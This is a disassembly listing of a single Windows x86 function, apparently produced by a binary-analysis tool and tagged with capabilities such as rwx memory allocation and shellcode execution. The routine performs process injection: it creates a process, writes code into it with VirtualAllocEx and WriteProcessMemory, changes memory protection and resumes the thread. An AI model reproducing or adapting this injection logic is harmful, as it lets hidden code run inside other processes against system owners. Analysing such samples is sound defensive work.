Function at 0x10001c40
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov eax, dword [0x1001629c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
push ebx
mov ebx, dword [ebp + 0x34]
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2f0], eax
mov esi, edx
mov dword [ebp - 0x2ec], ebx
jne 0x10001cbf
mov eax, dword [ebp + 0xc]
xor esi, esi
cmp eax, esi
je 0x10001c8b
cmp dword [ebp + 8], esi
jne 0x10001c8b
push eax
call fcn.10007aa7
add esp, 4
mov eax, dword [ebp + 0x24]
mov dword [ebp + 0xc], esi
mov dword [ebp + 0x10], esi
mov dword [ebp + 0x14], esi
mov dword [ebp + 0x18], esi
cmp eax, esi
je 0x10001cac
cmp dword [ebp + 0x20], esi
jne 0x10001cac
push eax
call fcn.10007aa7
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007a8d
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x2c8
push eax
lea edx, [ebp - 0x2e4]
push edx
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], eax
mov byte [ebp - 0x18], al
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
call fcn.1000c100
add esp, 0xc
push edi
push 0x10013ba4
lea edi, [ebp - 0x314]
mov dword [ebp - 0x2e8], 0x10007
call fcn.100078b0
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.10002170
push eax
lea ecx, [ebp - 0x30c]
push ecx
call fcn.10002170
mov edi, dword [ebp - 0x2f4]
add edi, 0xfffffff4
cmp edi, 0x10016f18
je 0x10001d70
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x10001d70
push edi
call fcn.10007aa7
add esp, 4
mov edi, dword [ebp - 0x314]
add edi, 0xfffffff4
cmp edi, 0x10016f18
je 0x10001d95
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x10001d95
push edi
call fcn.10007aa7
add esp, 4
test esi, esi
je 0x10001da9
test ebx, ebx
je 0x10001da9
mov dword [esi], 0
mov dword [ebx], 0
push 0x40
lea edx, [ebp - 0x35c]
push 0
push edx
call fcn.1000c100
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x304]
push ecx
mov ecx, dword [ebp - 0x30c]
lea edx, [ebp - 0x360]
push edx
push eax
push eax
push 0x1000404
push 1
push eax
push eax
mov word [ebp - 0x330], ax
mov eax, dword [ebp - 0x2f0]
push eax
push ecx
push 0
mov dword [ebp - 0x360], 0x44
mov dword [ebp - 0x334], 1
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x10001e2f
test esi, esi
je 0x100020db
test ebx, ebx
je 0x100020db
mov dword [esi], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
jmp 0x100020db
mov eax, dword [ebp - 0x300]
lea edx, [ebp - 0x2e8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x10001e6a
test esi, esi
je 0x100020db
test ebx, ebx
je 0x100020db
mov dword [esi], 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
jmp 0x100020db
mov eax, dword [ebp + 0x2c]
sub eax, dword [ebp + 0x28]
mov ecx, dword [ebp - 0x238]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2f4], ecx
je 0x10001edb
mov edx, dword [ebp - 0x304]
push 4
push 0x3000
inc eax
push eax
push 0
push edx
call edi
test eax, eax
je 0x10001edb
mov edx, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x2c]
lea ebx, [ebp - 0x2f0]
push ebx
sub ecx, edx
push ecx
push edx
push eax
mov eax, dword [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x2ec]
test eax, eax
jne 0x10001edb
test esi, esi
je 0x10001edb
test ebx, ebx
je 0x10001edb
mov dword [esi], 5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
mov eax, dword [ebp + 0x14]
sub eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x304]
push 0x40
push 0x3000
inc eax
push eax
push 0
push ecx
call edi
mov edi, eax
mov dword [ebp - 0x2f0], edi
test edi, edi
jne 0x10001f24
test esi, esi
je 0x100020db
test ebx, ebx
je 0x100020db
mov dword [esi], 6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
jmp 0x100020db
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
lea edx, [ebp - 0x318]
push edx
sub eax, ecx
push eax
mov eax, dword [ebp - 0x304]
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10001f6a
test esi, esi
je 0x100020db
test ebx, ebx
je 0x100020db
mov dword [esi], 7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
jmp 0x100020db
mov eax, edi
cdq
push edx
push eax
mov eax, dword [ebp - 0x2f4]
cdq
push edx
push eax
lea ebx, [ebp - 0x18]
call fcn.10001bd0
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x10001fb2
test esi, esi
je 0x100020db
mov edi, dword [ebp - 0x2ec]
test edi, edi
je 0x100020db
mov dword [esi], 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x100020db
mov ebx, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x304]
lea ecx, [ebp - 0x310]
push ecx
push 0x40
push edi
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x10001ffd
test esi, esi
je 0x100020db
mov edi, dword [ebp - 0x2ec]
test edi, edi
je 0x100020db
mov dword [esi], 9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x100020db
mov ecx, dword [ebp - 0x304]
push 0
push edi
lea eax, [ebp - 0x18]
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000203f
test esi, esi
je 0x100020db
mov edi, dword [ebp - 0x2ec]
test edi, edi
je 0x100020db
mov dword [esi], 0xa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x100020db
mov eax, dword [ebp - 0x304]
lea edx, [ebp - 0x310]
push edx
push 0x20
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x10002079
test esi, esi
je 0x100020db
mov edi, dword [ebp - 0x2ec]
test edi, edi
je 0x100020db
mov dword [esi], 0xb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x100020db
mov ecx, dword [ebp - 0x300]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x100020a9
test esi, esi
je 0x100020db
mov edi, dword [ebp - 0x2ec]
test edi, edi
je 0x100020db
mov dword [esi], 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x100020db
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x304]
push 0x8000
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp - 0x308], ecx
mov edx, dword [ebp - 0x300]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x304]
push eax
call esi
mov esi, dword [ebp - 0x30c]
add esi, 0xfffffff4
cmp esi, 0x10016f18
je 0x10002118
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x10002118
push esi
call fcn.10007aa7
add esp, 4
mov eax, dword [ebp + 0xc]
xor esi, esi
cmp eax, esi
je 0x1000212f
cmp dword [ebp + 8], esi
jne 0x1000212f
push eax
call fcn.10007aa7
add esp, 4
mov eax, dword [ebp + 0x24]
mov dword [ebp + 0xc], esi
mov dword [ebp + 0x10], esi
mov dword [ebp + 0x14], esi
mov dword [ebp + 0x18], esi
cmp eax, esi
je 0x10002150
cmp dword [ebp + 0x20], esi
jne 0x10002150
push eax
call fcn.10007aa7
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x308]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007a8d
mov esp, ebp
pop ebp
ret